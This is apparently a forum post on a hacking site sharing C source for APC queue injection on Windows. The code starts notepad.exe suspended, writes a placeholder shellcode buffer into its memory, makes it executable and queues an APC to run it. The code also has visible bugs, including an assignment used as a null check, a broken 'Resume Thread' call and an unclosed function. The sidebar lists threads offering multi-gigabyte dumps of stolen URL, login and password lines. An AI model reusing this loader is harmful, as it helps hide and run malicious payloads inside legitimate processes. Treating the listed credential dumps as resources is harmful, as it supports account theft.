Apc Queue Code Injection
by Alex99901 - Tuesday December 30, 2025 at 09:32 AM
#1
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>



unsigned char buf[] =
(your Shell code paste it here);


int main(){
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID rBuffer = NULL;
DWORD dwOldProtection = NULL;
SIZE_T sPayloadSize = sizeof(buf);

STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};


if(!CreateProcessA(NULL, "notepad.exe",NULL ,NULL , FALSE , CREATE_SUSPENDED , NULL , NULL , &si , &pi)){
    printf("CreateProcess Failed With ERROR=%d\n" , GetLastError());
    return -1;
}


        hProcess = pi.hProcess;
hThread = pi .hThread;

rBuffer = VirtualAllocEx(hProcess, NULL , sPayloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE);
if(rBuffer = NULL){
printf("VirtualAllocEx Failed With ERROR⇒%d\n", GetLastError());
return -1;
}


PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)rBuffer;

if(!WriteProcessMemory (hProcess, rBuffer , buf , sPayloadSize , NULL)){
    printf("WriteProcessMemory Failed With ERROR %d\n", GetLastError());
    return -1;
}

if(!VirtualProtectEx(hProcess, rBuffer, sPayloadSize, PAGE_EXECUTE_READ, &dwOldProtection)){
    printf("VirtualProtectEx Failed With ERROR %d\n", GetLastError());
    return -1;
}

QueueUserAPC((PAPCFUNC)apcRoutine , hThread , NULL);
Resume Thread (hThread);

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Contact Administration.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  URL:LOGIN:PASS Url:Log:Pass 25.836.181 Mıllıon Lınes (1.4gb) Marat 4 167 51 minutes ago
Last Post: dOleMACHO
  URL:LOGIN:PASS Url:Log:Pass 6.183.939 Mıllıon Lınes (400mb) Marat 3 201 1 hour ago
Last Post: dOleMACHO
  URL:LOGIN:PASS U:L:P 2.4 GB U:L:P [FRESH] paljal 44 2,806 1 hour ago
Last Post: mmoscan
  16GB ULP paljal 15 1,083 1 hour ago
Last Post: mmoscan
  URL:LOGIN:PASS 11GB URL:LOGIN:PASS lines | From Logs WhiteMelly 49 3,596 1 hour ago
Last Post: mmoscan

Forum Jump:


 Users browsing this forum: 1 Guest(s)